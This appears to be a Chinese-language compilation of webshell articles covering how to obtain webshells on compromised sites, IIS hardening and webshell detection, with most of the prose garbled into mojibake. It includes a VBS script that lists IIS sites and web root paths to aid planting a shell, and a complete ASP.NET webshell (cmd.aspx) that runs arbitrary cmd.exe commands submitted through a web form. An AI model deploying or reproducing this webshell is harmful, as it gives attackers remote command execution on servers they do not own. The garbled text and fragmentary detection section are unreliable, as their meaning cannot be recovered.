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webshell学习总结webshell菜鸟拿WebShell的经验比较详细入侵网站后台拿webSHELL 获取webshell的十种方法加固IIS让Webshell无用武之地cmd.aspx-ASP.NET环境下执行cmd命令浅谈webshell检测方法

webshell

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澶????? webshell 绠? ? ?绉?web 绫?? ??? 宸ュ???戒护琛? 瑙?? ??? web?ヤ镜???????诲?诲伐??

??褰?

1 浣???

2 ???芥??

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浣???

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???芥??

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========

??楦???ebShell??缁?楠?

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If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then?

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs",4096,"Lilo"?

WScript.Quit?

End If?

Set ObjService=GetObject("IIS://LocalHost/W3SVC")?

For Each obj3w In objservice?

If IsNumeric(obj3w.Name) Then?

Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)?

Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")?

If Err <> 0 Then WScript.Quit (1)?

WScript.Echo Chr(10) & "[" & OService.ServerComment & "]"?

For Each Binds In OService.ServerBindings?

Web = "{ " & Replace(Binds,":"," } { ") & " }"?

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")?

Next?

WScript.Echo "Path : " & VDirObj.Path?

End If?

Next?

?????跺??浣跨??BSI涓?浼??版???″?ㄤ?锛??跺???ц?cscript X:\lookweb.vbs锛??ㄥ???句俊??????浠?灏卞??浠ョ??瑙?璇ユ???″?ㄤ??稿?缃?绔?涓??跺?瑰???缃?绔???褰?锛?寰??逛究????缃?绔???褰?涓???浜??躲?? ?????惧?颁?缃?绔?????褰? 锛???浠?灏卞??浠ヤ娇?ㄥ樊寮?澶?浠芥?ヨ?峰??webshell ????????娆?娇??iaolu????Getwebshell锛??朵腑??a灏辨????浠?杩?浼?涓??ヨ???ㄩ┈瑕?杩??ョ??瀵???锛?涓?瀹?瑕?娉ㄦ??MSSQL?版??搴???浠?涔?绫诲????锛???瀛?绗?????杩????板????????濉???濂界?稿????版?癸?璺?寰?涓????芥??缃?绔?????褰?锛?濡???D锛?\wwwroot\???ㄥ???㈠??涓?澶?浠藉?????版??搴???绉帮?濡?ri.asp;?光??BackupShell??绯荤?灏卞?濮????ㄥ?浠芥?版??搴?浜???澶?浠芥????????浠?灏辫?块????浠?澶?浠界????浠讹?褰?娴?瑙??ㄦ??寮???涔辩?????跺??灏辨????浜?????浠???ake2??涓??ヨ???炬?ヤ?灏卞??浠ヤ?锛?娉ㄦ??瑕?濉???瀵????????拌????烘??涓?灏卞??浠ユ?垮??ebshell浜?; ????涓??ㄥ樊寮?澶?浠斤?灏辩?存?ユ?惧?扮?绔?????褰?锛??存?ヤ?浼?webshell??浠跺?扮?绔?????褰?涓?????锛?涔?????浠ョ????

========

姣?杈?璇???ヤ镜缃?绔????版??ebSHELL?

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???芥????楦?宸茬???杩?浜?,??缁?澶у?跺??涓?涓?姣?杈?璇????婕?绀郝?

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cmd.aspx-ASP.NET??澧?涓??ц?cmd?戒护

<%@ Page Language="VB" Debug="true" %>

<%@ Import Namespace="system.IO" %>

<script runat="server">

sub runcmd(Src As Object, E As EventArgs)

dim but as string

dim tempfile as string=server.MapPath(".") & "\" & "test.txt"

shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000)

dim myread as new streamreader(tempfile,encoding.default)

but=replace(myread.readtoend,vbcrlf,"<br>")

but=replace(but," "," ")

result.text=but

myread.close

file.exists(tempfile)

file.delete(tempfile)

cmd.text=""

end sub

</script>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>ASP.NET Shell V1.0 By fineacer</title>

</head>

<body>

<form runat="server">

<asp:TextBox ID="cmd" runat="server" />

<asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" />

<p><asp:Label ID="result" runat="server" /></p>

</form>

</body>

</html>

ASP.NET??澧?涓??ц?cmd?戒护??绋?搴?锛??稿?浜?cmd.asp涓?杩?杩?涓???瑕?asp.net??澧?,?变?IIS6???哄?讹???绋?搴?涓??藉??IS6杩?琛?锛?涓?杩???浠ュ?濂界??????IIS5.x 锛? .net framework.

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娴?璋?webshell妫?娴??规?

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Ie = ?? log2pi

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Ie = ?? lnpi

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I_e = -\log_2 {1\over 26} = 4.7

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I_e = -\log_2 {1\over 2500} = 11.3

?翠釜绯荤???骞冲??娑?????涓?

H_s = \sum_{i=1}^n p_i I_e = -\sum_{i=1}^n p_i \log_2 p_i

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3??姹???浠朵腑?????垮??璇?

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84070 ? ? ? ?/home/wwwroot/default/webshell/css.php

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??璁炬??浠???妫?娴??规???5绉?锛??d?x = [x1,x2,x3,x4,x5].

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杩?浜??煎?璇ュ?浣?寰??板???

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